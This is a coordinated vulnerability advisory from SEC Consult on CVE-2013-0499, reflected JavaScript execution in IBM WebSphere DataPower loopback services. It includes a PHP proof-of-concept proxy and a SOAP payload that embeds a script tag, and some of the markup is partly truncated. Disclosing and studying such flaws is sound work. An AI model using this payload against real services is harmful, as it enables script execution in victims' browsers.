JavaScript Execution in WebSphere DataPower Services

SEC Consult Vulnerability Lab Security Advisory < 20130523-0 >


title: JavaScript Execution in WebSphere DataPower Services

product: IBM WebSphere DataPower Integration Appliance XI50

vulnerable version: 3.8.2, 4.0, 4.0.1, 4.0.2, 5.0.0

fixed version: not available, config changes

CVE number: CVE-2013-0499

impact: Low/Medium


found: 2013-01-28

by: A. Falkenberg

SEC Consult Vulnerability Lab



Vendor/product description:


WebSphere® DataPower® appliances simplify, govern, and optimize the delivery

of services and applications and enhance the security of XML and IT services.

They extend the capabilities of an infrastructure by providing a multitude of





Vulnerability overview/description:


For the purposes of debugging, DataPower provides configuration options to

echo requests received from the client. For example, XML Firewall service can

be configured to echo requests by choosing the backend as 'loopback'. Other

services like Multi Protocol Gateway and Web Service Proxy can be configured

to echo requests by setting the variable “var://service/mpgw/skip-backside” in

its processing policy.

In such configurations, the requests are not sent to a backend server. Without

adequate validation and processing, the requests may be echoed back to the

client. Loopback services that blindly echo requests should only be used for

debugging purposes and not intended to be run in production environments as

they can result in potential security threats. For example, if an arbitrary

JavaScript embedded request is sent to such services, they will simply echo it

back resulting in a potential JavaScript execution vulnerability in the

client's browser.




Proof of concept:


The proof of concept was tested on an IBM Xi50 with the backend configured as

a "loopback" Web Service. The "loopback" Web Service can be used to execute

arbitrary JavaSscript code in a victims browser. Any valid SOAP message sent

to the Web service is returned unmodified to the receiver. If the SOAP

response of the "loopback" Web Service is parsed by a browser, any JavaScript

that is contained within the XML document will get executed.

The following PHP script demonstrates a reflected cross site scripting.

$soapEndpoint = "";
$soapMessage = 
'<?xml version="1.0"?><soapenv:Envelope xmlns:soapenv="" xmlns:sam="">
        <html:html xmlns:html="">
            <html:script>alert("XML XSS");</html:script>

if(isset($_POST['soapMessage']) and isset($_POST['soapUrl'])){
$soap_do = curl_init(); 
	curl_setopt($soap_do, CURLOPT_URL,            $_POST['soapUrl'] );   
	curl_setopt($soap_do, CURLOPT_CONNECTTIMEOUT, 10); 
	curl_setopt($soap_do, CURLOPT_TIMEOUT,        10); 
	curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true );
	curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false);  
	curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false); 
	curl_setopt($soap_do, CURLOPT_POST,           true ); 
	curl_setopt($soap_do, CURLOPT_POSTFIELDS,    $_POST['soapMessage']); 
	curl_setopt($soap_do, CURLOPT_HTTPHEADER,     array('Content-Type: text/xml; charset=utf-8', 'Content-Length: '.strlen($_POST['soapMessage']) )); 

	$result = curl_exec($soap_do);
	$err = curl_error($soap_do);	

        header('Content-type: text/xml');
	echo $result;

        <h1>XSS XML Proxy</h1>
        <form name="input" action="" method="post">
        SOAP Endpoint: <input type="text" name="soapUrl" value="<?php echo $soapEndpoint; ?>"><br />
        SOAP Message:&nbsp; <textarea cols="70" name="soapMessage" rows="14"><?php echo $soapMessage; ?></textarea><br />
        <br />
        <input type="submit" value="Submit">


Vulnerable / tested versions:


SEC Consult verified the vulnerability in the WebSphere DataPower Appliance XI50.

The vendor provided an extended list of vulnerable versions:

WebSphere DataPower 3.8.2, 4.0, 4.0.1, 4.0.2, 5.0.0.




Vendor contact timeline:


2013-01-30: Sending advisory and proof of concept exploit via encrypted channel.

2013-01-31: Vendor confirms receipt

2013-05-17: Vendor posts security bulletin

2013-05-23: SEC Consult releases coordinated security advisory.





The vendor does not offer a patch.


The vulnerability can be prevented by disabling the services to blindly echo

requests back. A detailed description can be found on the vendor's site:




Advisory URL:





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Tel.: +43 / 1 / 890 30 43 - 0

Fax.: +43 / 1 / 890 30 43 - 25

Mail: research at sec-consult dot com





EOF A. Falkenberg / @2013